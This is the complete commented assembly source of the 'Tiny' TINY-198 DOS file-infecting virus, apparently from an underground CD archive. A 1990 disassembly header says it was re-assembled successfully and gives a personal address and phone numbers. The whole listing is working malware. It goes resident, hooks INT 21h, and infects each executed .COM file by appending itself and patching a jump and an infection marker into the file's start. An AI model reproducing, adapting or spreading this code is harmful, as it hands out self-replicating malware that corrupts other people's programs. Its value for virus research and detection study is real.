home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny-198.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  5.0 KB  |  199 lines

  1.     page    ,132
  2.  
  3.     name    TINY198
  4.  
  5.     title    The 'Tiny' virus, version TINY-198
  6.  
  7.     .radix    16
  8.  
  9.  
  10.  
  11. ; ╔══════════════════════════════════════════════════════════════════════════╗
  12.  
  13. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  14.  
  15. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  16.  
  17. ; ║                                         ║
  18.  
  19. ; ║             The 'Tiny' Virus, version TINY-198                  ║
  20.  
  21. ; ║            Disassembled by Vesselin Bontchev, July 1990         ║
  22.  
  23. ; ║                                         ║
  24.  
  25. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  26.  
  27. ; ║                                         ║
  28.  
  29. ; ║     This listing is only to be made available to virus researchers      ║
  30.  
  31. ; ║           or software writers on a need-to-know basis.          ║
  32.  
  33. ; ╚══════════════════════════════════════════════════════════════════════════╝
  34.  
  35.  
  36.  
  37. ; The disassembly has been tested by re-assembly using MASM 5.0.
  38.  
  39.  
  40.  
  41. code    segment
  42.  
  43.     assume    cs:code, ds:code
  44.  
  45.  
  46.  
  47.     org    100
  48.  
  49.  
  50.  
  51. seg_60    equ    600
  52.  
  53. v_len    equ    v_end-v_entry
  54.  
  55.  
  56.  
  57. start:
  58.  
  59.     jmp    v_entry     ; Jump to virus code
  60.  
  61.     db    'M'             ; Virus signature
  62.  
  63.     mov    ax,4C00     ; Program terminate
  64.  
  65.     int    21
  66.  
  67.  
  68.  
  69. v_entry:
  70.  
  71.     call    self        ; Determine the start addres of the virus body
  72.  
  73. self:
  74.  
  75.     pop    si
  76.  
  77.     sub    si,3
  78.  
  79.  
  80.  
  81.     push    ax        ; Save AX (to keep programs as DISKCOPY happy)
  82.  
  83.  
  84.  
  85. ; Check whether the virus is already in memory and just run the program if so:
  86.  
  87.  
  88.  
  89.     mov    ah,0E9
  90.  
  91.     int    21
  92.  
  93.  
  94.  
  95.     mov    di,seg_60    ; Point ES:DI at 0000:0600h (i.e, segment 60h)
  96.  
  97.     xor    cx,cx        ; ES := 0
  98.  
  99.     mov    es,cx
  100.  
  101.     mov    cl,v_len    ; CX := virus length
  102.  
  103.     rep    movsb        ; Move the virus body there
  104.  
  105.  
  106.  
  107. ; Transfer control to cont: by PUSHing its address
  108.  
  109. ; on the stack and executing RETF:
  110.  
  111.  
  112.  
  113.     push    es
  114.  
  115.     mov    ax,cont-v_entry+seg_60
  116.  
  117.     push    ax
  118.  
  119.     retf
  120.  
  121.  
  122.  
  123. ; The original first 4 bytes of the infected file:
  124.  
  125.  
  126.  
  127. first4    db    0EBh, 2, 90, 90
  128.  
  129.  
  130.  
  131. ; Resume execution from here (but already in segment 60h):
  132.  
  133.  
  134.  
  135. cont:
  136.  
  137.  
  138.  
  139. ; Install new INT 21h handler and move the old one at INT 32h:
  140.  
  141.  
  142.  
  143.     mov    di,21*4
  144.  
  145.     mov    cl,2
  146.  
  147.     mov    ax,int_21-v_entry+seg_60
  148.  
  149.     cld
  150.  
  151. lp:
  152.  
  153.     push    word ptr es:[di]    ; Get old handler's address
  154.  
  155.     pop    word ptr es:[di+(32-21)*4]    ; Move it at INT 32h
  156.  
  157.     stosw            ; Install the new one
  158.  
  159.     mov    ax,cs
  160.  
  161.     loop    lp        ; Loop until done
  162.  
  163.  
  164.  
  165. ; Save the original first 4 bytes of the infected program on the stack:
  166.  
  167.  
  168.  
  169.     push    word ptr cs:[first4-v_entry+seg_60]
  170.  
  171.     push    word ptr cs:[first4+2-v_entry+seg_60]
  172.  
  173.  
  174.  
  175. run_pgm:
  176.  
  177.     mov    di,offset start ; Point DI at program's start
  178.  
  179.     pop    word ptr [di+2] ; Restore the first 4 bytes of the program
  180.  
  181.     pop    word ptr [di]
  182.  
  183.     pop    ax        ; Restore the original value of AX
  184.  
  185.     push    ds
  186.  
  187.     push    ds        ; ES := DS
  188.  
  189.     pop    es
  190.  
  191.     push    di        ; Push 100h on the stack
  192.  
  193.     retf
  194.  
  195.  
  196.  
  197. mem_chk:
  198.  
  199.  
  200.  
  201. ; Push the original first 4 bytes of the infected program on the stack:
  202.  
  203.  
  204.  
  205.     push    word ptr [si+first4-v_entry]
  206.  
  207.     push    word ptr [si+first4+2-v_entry]
  208.  
  209.     jmp    run_pgm     ; And run the original program
  210.  
  211.  
  212.  
  213. int_21:             ; New INT 21h handler
  214.  
  215.     cmp    ah,0E9        ; Memory check?
  216.  
  217.     je    mem_chk     ; If infected, run the original program
  218.  
  219.     cmp    ax,4B00     ; EXEC function call?
  220.  
  221.     jne    end_21        ; Exit if not
  222.  
  223.  
  224.  
  225.     push    ax        ; Save registers used
  226.  
  227.     push    bx
  228.  
  229.     push    cx
  230.  
  231.     push    dx
  232.  
  233.     push    di
  234.  
  235.     push    ds
  236.  
  237.     push    es
  238.  
  239.  
  240.  
  241.     push    cs        ; ES := CS
  242.  
  243.     pop    es
  244.  
  245.  
  246.  
  247.     mov    ax,3D02     ; Open the file for both reading and writting
  248.  
  249.     int    32
  250.  
  251.     jc    end_exec    ; Exit on error
  252.  
  253.     mov    bx,ax        ; Save the file handle in BX
  254.  
  255.  
  256.  
  257.     mov    ah,3F        ; Read the first 4 bytes of the file
  258.  
  259.     mov    cx,4        ; 4 bytes to read
  260.  
  261.     mov    dx,first4-v_entry+seg_60    ; Put them in first4
  262.  
  263.     mov    di,dx        ; Save first4 address in DI
  264.  
  265.     push    cs        ; DS := CS
  266.  
  267.     pop    ds
  268.  
  269.     int    32        ; Do it
  270.  
  271.  
  272.  
  273. ; Check whether the file is already infected or is an .EXE file.
  274.  
  275. ; The former contains the character `M' in its 3rd byte and
  276.  
  277. ; the latter contains it either in the 0th or in the 1st byte.
  278.  
  279.  
  280.  
  281.     push    di        ; Save DI
  282.  
  283.     mov    al,'M'          ; Look for `M'
  284.  
  285.     repne    scasb
  286.  
  287.     pop    di        ; Restore DI
  288.  
  289.     je    close        ; Exit if file not suitable for infection
  290.  
  291.  
  292.  
  293.     mov    ax,4202     ; Seek to the end of file
  294.  
  295.     xor    cx,cx
  296.  
  297.     xor    dx,dx
  298.  
  299.     int    32        ; Do it
  300.  
  301.  
  302.  
  303.     push    ax        ; Save file length
  304.  
  305.  
  306.  
  307.     mov    dh,6        ; DX = 600h, i.e. point it at 0000:0600h
  308.  
  309.     mov    cl,v_len    ; Length of virus body
  310.  
  311.     mov    ah,40        ; Append virus to file
  312.  
  313.     int    32        ; Do it
  314.  
  315.  
  316.  
  317.     mov    ax,4200     ; Seek to the file beginning
  318.  
  319.     xor    cx,cx
  320.  
  321.     xor    dx,dx
  322.  
  323.     int    32        ; Do it
  324.  
  325.  
  326.  
  327.     mov    dx,di        ; Point DX at first4
  328.  
  329.     mov    al,0E9        ; Near JMP opcode
  330.  
  331.     stosb            ; Form the first instruction of the file
  332.  
  333.     pop    ax        ; Restore file length in AX
  334.  
  335.     sub    ax,3        ; Subtract 3 (first instruction length)
  336.  
  337.     stosw            ; Form the JMP's opperand
  338.  
  339.     mov    al,'M'          ; Add a `M' character to mark the file
  340.  
  341.     stosb            ;  as infected
  342.  
  343.  
  344.  
  345.     mov    cl,4        ; Overwrite the first 4 bytes of the file
  346.  
  347.     mov    ah,40
  348.  
  349.     int    32        ; Do it
  350.  
  351.  
  352.  
  353. close:
  354.  
  355.     mov    ah,3E        ; Close the file
  356.  
  357.     int    32
  358.  
  359.  
  360.  
  361. end_exec:
  362.  
  363.     pop    es        ; Restore used registers
  364.  
  365.     pop    ds
  366.  
  367.     pop    di
  368.  
  369.     pop    dx
  370.  
  371.     pop    cx
  372.  
  373.     pop    bx
  374.  
  375.     pop    ax
  376.  
  377.  
  378.  
  379. ; Exit through the original INT 21h handler:
  380.  
  381.  
  382.  
  383. end_21:
  384.  
  385.     jmp    dword ptr cs:[32*4]
  386.  
  387.  
  388.  
  389. v_end    equ    $        ; End of virus body
  390.  
  391.  
  392.  
  393. code    ends
  394.  
  395.     end    start
  396.  
  397.